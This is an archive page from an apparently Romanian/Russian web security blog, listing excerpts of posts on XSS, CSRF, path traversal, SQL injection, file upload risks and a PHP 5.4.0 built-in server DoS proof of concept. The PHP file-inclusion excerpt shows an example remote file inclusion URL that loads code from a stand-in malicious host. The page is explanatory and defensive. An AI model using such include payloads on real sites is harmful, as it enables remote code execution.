Archive for category Vulnerabilităţi

PHP 5.4.0 Built-in Web Server DoS PoC

Începînd cu versiunea PHP 5.4.0, PHP se distribuie cu un web-server încorporat în CLI SAPI, care se recomandă de a fi utilizat doar în scopuri de dezvoltare și nu se recomandă a fi utilizat în producție. Din testele efectuate, acest web-server poate deservi doar cîte un request în același timp (nu e multi-threading), restul sunt puse în coadă și sunt deservite la finisarea procesării request-ului precedent. Riscul de exploatare a acestei vulnerabilități poate persista și atunci cînd utilizați o versiune 5.4.0 < PHP < 5.4.1 RC1-DEV și este posibil de executat funcții ca system sau passthru. În acest caz, prin exemplul de mai jos, la nivel local poate fi compromisă disponibilitatea aplicației PHP, însă în cazul existenței posibilității de executare la distanță a funcției passthru acest aspect este nesemnificativ.

Referință: http://php.net/manual/en/features.commandline.webserver.php
Read the rest of this entry »

No Comments

Tehnici de exploatare a vulnerabilităților XSS

Exploatarea vulnerabilităților XSS (Cross-Site Scripting), mizează pe interacțiunea factorului uman cu o anumită adresă URL.
Pentru a exploata o asemenea vulnerabilitate utilizatorul trebuie să acceseze un link malițios care modifică pagina de destinație (de obicei neobservat din punct de vedere grafic) astfel atacatorul va obține accesarea unei pagini cu conținutul dorit care va obține anumite beneficii ulterioare.
Read the rest of this entry »

,

No Comments

Cross Site Request Forgery (CSRF): Descriere, exemple şi măsuri de control.

Vulnerabilitatea Cross-Site Request Forgery (CSRF) [se pronunţă Sea-Surf] se caracterizează prin faptul că aplicaţia web nu poate efectua verificări suficiente, pentru a determina dacă cererea primită de aplicaţie este consistentă, formată corect şi dacă a fost efectuată într-adevăr de către utilizatorul care a efectuat cererea şi nu de către altcineva.

Dacă un server/o aplicaţie web este concepută pentru a primi o cerere din partea unui client, fără nici un mecanism de verificare a autencităţii cererii (dacă aceasta a fost trimisă în mod intenţionat), atunci ar putea fi posibil ca un atacator să forţeze browserul unui client să efectuieze o cerere neintenţionată către serverul web, care va fi tratată ca o cerere autentică. Exploatarea acestei vulnerabilităţi poate fi efectuată prin intermediul unui URL, a unei imagini, a unei cereri XMLHttpRequest, etc. şi poate avea drept consecinţă divulgarea de date sau executarea de cod neintenţionat.

Exploatarea vulnerabilităţii Cross-Site Request Forgery(CSRF) este un alt tip de atac. În loc să exploateze încrederea pe care o are un utilizator într-o aplicaţie web, atacurile CSRF exploatează încrederea pe care o are un site în utilizatorii săi.
Read the rest of this entry »

, , ,

1 Comment

Expunerea informaţiei prin mesajele de eroare

Informaţia sensibilă poate fi critică (cum ar fi parola), sau poate fi utilă pentru lansarea altor atacuri asupra altor subsisteme sau module. În cazul în care un atac eşuează, atacatorul poate utiliza informaţia din mesajele de eroare furnizate de server sau aplicaţie, pentru a lansa un alt atac. De exemplu o încercare de exploatare a vulnerabilităţii path traversal, ar putea furniza calea completă a aplicaţiei în sistemul de fişiere. La rîndul său, acest lucru ar putea fi utilizat pentru determinarea numărului de elemente “..” sau indicarea unei căi de acces către un fişier sau directoriu ţintă. Un atac ce utilizează vulnerabilitatea SQL Injection ar putea dezvălui structura tabelului, bazei de date, sau expune logica de interogare, şi posibil chiar parole sau informaţii sensibile utilizate în interogare. Read the rest of this entry »

, , , ,

1 Comment

Уязвимости и простота распознавания CAPTCHA на примерах

CAPTCHA (от англ. «Completely Automated Public Turing test to tell Computers and Humans Apart» — полностью автоматизированный публичный тест Тьюринга для разделения компьютеров и людей) — тест, целью которого является определение того, кем является пользователь: человеком или ботом. Идея теста в том, что существуют задачи, элементарные для человека, но сложные для компьютера. Чаще всего данный тест используется для предотвращения регистрации ботов на сайтах, для предотвращения разного рода флуда или попыток подбора пароля.

Теперь давайте поговорим о том, как сделать разгадывание капчи как можно более просты для человека и как можно более сложным для компьютера.

Read the rest of this entry »

, ,

7 Comments

Path Traversal: Descriere, exemple, riscuri implicate şi măsuri de control

Path Traversal  – Limitarea insuficientă a căii fişierelor/directoriilor în sistemul de fişiere de un directoriu cu acces interzis.

Path Traversal se manifestă ca o vulnerabilitate a unei aplicaţii care utilizează datele de intrare ca parte componentă a căii destinate pentru identificarea unui fişier sau directoriu, şi accesarea directoriului părinte al căruia este interzisă, insă metodele de validare a datelor de intrare nu sunt corecte sau lipsesc. Astfel prin intermediul acestei vulnerabilităţi se poate obţine acces la conţinutul fişierelor şi directoriilor restricţionate iniţial,care se afla în afara directoriului predefinit.
Read the rest of this entry »

, , , , ,

4 Comments

Încărcarea fişierelor – Riscuri implicate şi măsuri de control

Dificultăţile care ar putea apărea în procesul de încărcare a fişierelor (file upload) trebuie identificate în timp util, şi identificarea riscurilor trebuie să aibă loc în procesul de planificare al proiectului. În unele cazuri dificultăţile pot fi evitate prin modificarea cerinţelor proiectului. Unele din întrebările critice la care trebuie ştiut răspunsul de la bun început sunt:

1. Cine va avea permisiunea de a încărca fişiere?  Doar utilizatorii autentificaţi sau orice utilizator al sistemului? Read the rest of this entry »

, , , ,

2 Comments

Методы предотвращения атак SQL Injection

Для начала давайте попробуем разобраться, что же такое SQL Injection, какие они бывают, чем они опасны и зачем могут применяться. Read the rest of this entry »

3 Comments

Includerea fişierelor PHP, descriere şi măsuri de control

Ce presupune “Includerea fişierelor PHP” (PHP File Inclusion)? E o greşeală care exploatează utilizarea neintenţionată a unei particularităţi periculoase specifice PHP. Un limbaj de programare complet, ca PHP, de obicei oferă facilitatea de a include fişiere suplimentare spre execuţie. Această caracteristică este utilizată frecvent pentru a include biblioteci, anteturi sau alte elemente de cod comune pentru mai multe pagini sau script-uri. PHP are implementată o particularitate suplimentară a acestei funcţionalităţi: Fişierul sau directoriul inclus nu e obligatoriu să fie unul local. Cu alte cuvinte, dacă un răufăcător reuşeşte să modifice numele fişierului indicat spre a fi inclus în unul de tip

http://exemple.com/?fisier=http://exemple-maliţioase.com/cod.php

atunci output-ul acestui URL va fi inclus şi executat în contextul scriptului local. Read the rest of this entry »

, , ,

No Comments